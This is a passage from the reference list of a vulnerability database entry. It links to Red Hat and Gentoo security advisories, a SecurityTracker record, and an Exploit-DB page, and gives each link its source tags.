Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1038552
Tags : vdb-entry, x_refsource_SECTRACK
https://access.redhat.com/errata/RHSA-2017:1273
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1271
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201805-07
Tags : vendor-advisory, x_refsource_GENTOO
https://access.redhat.com/errata/RHSA-2017:1272
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/42060/
Tags : exploit, x_refsource_EXPLOIT-DB